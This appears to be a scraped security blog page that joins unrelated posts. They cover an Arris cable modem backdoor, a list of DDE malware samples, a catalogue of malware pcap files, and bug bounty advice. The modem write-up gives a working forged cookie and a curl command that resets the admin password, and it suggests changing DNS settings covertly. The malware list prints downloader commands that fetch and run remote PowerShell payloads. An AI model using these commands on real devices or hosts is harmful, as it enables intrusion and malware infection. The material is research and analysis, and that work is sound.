quarta-feira, 17 de janeiro de 2024

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}
And finally:
{"credential":"technician:"} 
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(




That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:


That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:


Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);
Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
What about setting a new value? Surely that will not work....



That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:


This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.


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segunda-feira, 5 de junho de 2023

DDE Command Execution Malware Samples




Here are a few samples related to the recent DDE Command execution










Links updated: Jan 20, 2023


References


File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b



Collection Of Pcap Files From Malware Analysis


Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.




Update:Dec 13. 2014 


Despite rare updates of this post, we have been adding pcaps to the collection so remember to check out the folder ( Pcap collection (New link)) for the recent pcaps!



Update:Dec 31. 2013 - added new pcaps

I did some spring cleaning yesterday and came up with these malware and exploit pcaps. Such pcaps are very useful for IDS and signature testing and development, general education, and malware identification. While there are some online public sandboxes offering pcaps for download like Cuckoo or Anubis but  looking for them is a tedious task and you cannot be totally sure the pcap is for the malware family supposedly analysed - in other words, if the sandbox says it is Zeus does not necessarily mean that it is.

I found some good pcap repositories here (http://www.netresec.com/?page=PcapFiles) but there are very few pcaps from malware.

These are from identified and verified (to the best of my knowledge and belief - email me if you find errors) malware samples.

All of them show the first stage with the initial callback and most have the DNS requests as well. A few pcaps show extended malware runs (e.g. purplehaze pcap is over 500mb).
Most pcaps are mine, a few are from online sandboxes, and one is borrowed from malware.dontneedcoffee.com. That said, I can probably find the corresponding samples for all that have MD5 listed if you really need them. Search contagio, some are posted with the samples.

Each file has the following naming convention:
BIN [RTF, PDF] - the filetype of the dropper used, malware family name, MD5, and year+month of the malware analysis.

I will be adding more pcaps in the future. Please donate your pcaps from identified samples, I am sure many of you have.

Thank you




Download


Download all together or separately.

All pcaps archives have the same password (same scheme), email me if you need it. I tried posting it without any passwords and pass infected but they get flagged as malware. Modern AV rips though zips and zips with the pass 'infected' with ease.



APT PCAPS


  1. 2012-12-31 BIN_Xinmic_8761F29AF1AE2D6FACD0AE5F487484A5-pcap
  2. 2013-09-08 BIN_TrojanPage_86893886C7CBC7310F7675F4EFDE0A29-pcap
  3. 2013-09-08 BIN_Darkcomet_DC98ABBA995771480AECF4769A88756E-pcap
  4. 2013-09-02 8202_tbd_ 6D2C12085F0018DAEB9C1A53E53FD4D1-pcap
  5. 2013-09-02 BIN_8202_6d2c12085f0018daeb9c1a53e53fd4d1-pcap
  6. 2013-09-02 BIN_Vidgrab_6fd868e68037040c94215566852230ab-pcap
  7. 2013-09-02 BIN_PlugX_2ff2d518313475a612f095dd863c8aea-pcap
  8. 2013-09-02 BIN_Taidoor_46ef9b0f1419e26f2f37d9d3495c499f-pcap
  9. 2013-09-02 BIN_Vidgrab_660709324acb88ef11f71782af28a1f0-pcap
  10. 2013-09-02 BIN_Gh0st-gif_f4d4076dff760eb92e4ae559c2dc4525-pcap.zip
  11. 2013-07-15 BIN_Taleret.E_5328cfcb46ef18ecf7ba0d21a7adc02c.pcap
  12. 2013-05-14 BIN_Mediana_0AE47E3261EA0A2DBCE471B28DFFE007_2012-10.pcap
  13. 2013-05-14 BIN_Hupigon_8F90057AB244BD8B612CD09F566EAC0C
  14. 2013-05-14 BIN_LetsGo_yahoosb_b21ba443726385c11802a8ad731771c0_2011-07-19
  15. 2013-05-13 BIN_IXESHE_0F88D9B0D237B5FCDC0F985A548254F2-2013-05-pcap
  16. 2013-05-06 BIN_DNSWatch_protux_4F8A44EF66384CCFAB737C8D7ADB4BB8_2012-11-pcap
  17. 2013-05-06 BIN_9002_D4ED654BCDA42576FDDFE03361608CAA_2013-01-30-pcap
  18. 2013-05-06 BIN_BIN_RssFeeder_68EE5FDA371E4AC48DAD7FCB2C94BAC7-2012-06-pcap (not a common name, see the traffic ssheet http://bit.ly/maltraffic )
  19. 2013-04-30 BIN_MSWab_Yayih_FD1BE09E499E8E380424B3835FC973A8_us-pcap
  20. 2013-04-29 BIN_LURK_AF4E8D4BE4481D0420CCF1C00792F484_20120-10-pcap
  21. 2013-04-29 BIN_XTremeRAT_DAEBFDED736903D234214ED4821EAF99_2013-04-13-pcap
  22. BIN_Enfal_Lurid_0fb1b0833f723682346041d72ed112f9_2013-01.pcap
  23. BIN_Gh0st_variant-v2010_B1D09374006E20FA795B2E70BF566C6D_2012-08.pcap
  24. BIN_Likseput_E019E37F19040059AB5662563F06B609_2012-10.pcap
  25. BIN_Nettravler_1f26e5f9b44c28b37b6cd13283838366.pcap
  26. BIN_Nettravler_DA5832657877514306EDD211DEF61AFE_2012-10.pcap
  27. BIN_Sanny-Daws_338D0B855421867732E05399A2D56670_2012-10.pcap
  28. BIN_Sofacy_a2a188cbf74c1be52681f998f8e9b6b5_2012-10.pcap
  29. BIN_Taidoor_40D79D1120638688AC7D9497CC819462_2012-10.pcap
  30. BIN_TrojanCookies_840BD11343D140916F45223BA05ABACB_2012_01.pcap
  31. PDF_CVE-2011-2462_Pdf_2011-12.pcap
  32. RTF_Mongall_Dropper_Cve-2012-0158_C6F01A6AD70DA7A554D48BDBF7C7E065_2013-01.pcap
  33. OSX_DocksterTrojan.pcap

CRIMEWARE PCAPS



  1. 2013-11-12_BIN_ChePro_2A5E5D3C536DA346849750A4B8C8613A-1.pcap
  2. 2013-10-15_BIN_cryptolocker_9CBB128E8211A7CD00729C159815CB1C.pcap
  3. 2013-09-20_BIN_Lader-dlGameoverZeus_12cfe1caa12991102d79a366d3aa79e9.pcap
  4. 2013-09-08 BIN_Tijcont_845B0945D5FE0E0AAA16234DC21484E0-pcap
  5. 2013-09-08 BIN_Kelihos_C94DC5C9BB7B99658C275B7337C64B33-pcap.zip
  6. 2013-08-19 BIN_Nitedrem_508af8c499102ad2ebc1a83fdbcefecb-pcap
  7. 2013-08-17 BIN_sality_CEAF4D9E1F408299144E75D7F29C1810-pcap
  8. 2013-08-15 BIN_torpigminiloader-pcap.zip
  9. 2013-13-08 EK_popads_109.236.80.170_2013-08-13.pcap
  10. 2013-11-08 BIN_Alinav5.3_4C754150639AA3A86CA4D6B6342820BE.pcap
  11. 2013-08-08 BIN_BitcoinMiner_F865C199024105A2FFDF5FA98F391D74-pcap
  12. 2013-08-07 BIN_ZeroAccess_Sirefef_C2A9CCC8C6A6DF1CA1725F955F991940_2013-08-pcap
  13. 2013-07-05 BIN_Kuluoz-Asprox_9F842AD20C50AD1AAB41F20B321BF84B
  14. 2013-05-31 Wordpress-Mutopy_Symmi_20A6EBF61243B760DD65F897236B6AD3-2pcap.pcap
  15. 2013-05-15 BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
  16. 2013-05-15 BIN_Gypthoy_3EE49121300384FF3C82EB9A1F06F288-2013-05.pcap
  17. 2013-05-12 BIN_PassAlert_B4A1368515C6C39ACEF63A4BC368EDB2-2013-05-13
  18. 2013-05-12 BIN_HorstProxy_EFE5529D697174914938F4ABF115F762-2013-05-13-pcap
  19. 2013-05-12 BIN_Bitcoinminer_12E717293715939C5196E604591A97DF-2013-05-12-pcap
  20. 2013-05-07 BIN_ZeroAccess_Sirefef_29A35124ABEAD63CD8DB2BBB469CBC7A_2013-05-pcapc
  21. 2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
  22. 2013-05-05 BIN_GameThief_ECBA0FEB36F9EF975EE96D1694C8164C_2013-03-pcap
  23. 2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
  24. 2013-04-27 EK_BIN_Blackhole_leadingto_Medfos_0512E73000BCCCE5AFD2E9329972208A_2013-04-pcap
  25. 2013-04-26 -- BIN_Citadel_3D6046E1218FB525805E5D8FDC605361-2013-04-samp 
  26. BIN_CitadelPacked_2012-05.pcap
  27. BIN_CitadelUnpacked_2012-05.pcap
  28. BIN_Cutwail_284Fb18Fab33C93Bc69Ce392D08Fd250_2012-10.pcap
  29. BIN_Darkmegi_2012-04.pcap
  30. BIN_DarknessDDoS_v8g_F03Bc8Dcc090607F38Ffb3A36Ccacf48_2011-01.pcap-
  31. BIN_dirtjumper_2011-10.pcap
  32. BIN_DNSChanger_2011-12.pcap
  33. BIN_Drowor_worm_0f015bb8e2f93fd7076f8d178df2450d_2013-04.pcap
  34. BIN_Googledocs_macadocs_2012-12.pcap
  35. BIN_Imaut_823e9bab188ad8cb30c14adc7e67066d.pcap
  36. BIN_IRCbot_c6716a417f82ccedf0f860b735ac0187_2013-04.pcap
  37. BIN_Kelihos_aka_Nap_0feaaa4adc31728e54b006ab9a7e6afa.pcap
  38. BIN_LoadMoney_MailRu_dl_4e801b46068b31b82dac65885a58ed9e_2013-04 .pcap
  39. BIN_purplehaze-2012-01.pcap
  40. BIN_ponyloader_470a6f47de43eff307a02f53db134289.pcap
  41. BIN_Ramnitpcap_2012-01.pcap
  42. BIN_Reedum_0ca4f93a848cf01348336a8c6ff22daf_2013-03.pcap
  43. BIN_SpyEye_2010-02.pcap
  44. BIN_Stabuniq_F31B797831B36A4877AA0FD173A7A4A2_2012-12.pcap
  45. BIN_Tbot_23AAB9C1C462F3FDFDDD98181E963230_2012-12.pcap
  46. BIN_Tbot_2E1814CCCF0C3BB2CC32E0A0671C0891_2012-12.pcap
  47. BIN_Tbot_5375FB5E867680FFB8E72D29DB9ABBD5_2012-12.pcap
  48. BIN_Tbot_A0552D1BC1A4897141CFA56F75C04857_2012-12.pcap
  49. BIN_Tbot_FC7C3E087789824F34A9309DA2388CE5_2012-12.pcap
  50. BIN_Tinba_2012-06.pcap
  51. BIN_Vobfus_634AA845F5B0B519B6D8A8670B994906_2012-12.pcap
  52. BIN_Xpaj_2012-05.pcap
  53. BIN_ZeroAccess_3169969E91F5FE5446909BBAB6E14D5D_2012-10.pcap
  54. BIN_ZeusGameover_2012-02.pcap
  55. BIN_Zeus_2010-12.pcap
  56. EK_Blackholev1_2012-03.pcap
  57. EK_Blackholev1_2012-08.pcap
  58. EK_Blackholev2_2012-09.pcap
  59. EK_Blackhole_Java_CVE-2012-4681_2012-08.pcap
  60. EK_Phoenix_2012-04.pcap
  61. EK_Smokekt150(Malwaredontneedcoffee)_2012-09.pcap -  credit malware.dontneedcoffee.com


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domingo, 4 de junho de 2023

How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?



These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.


Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

More info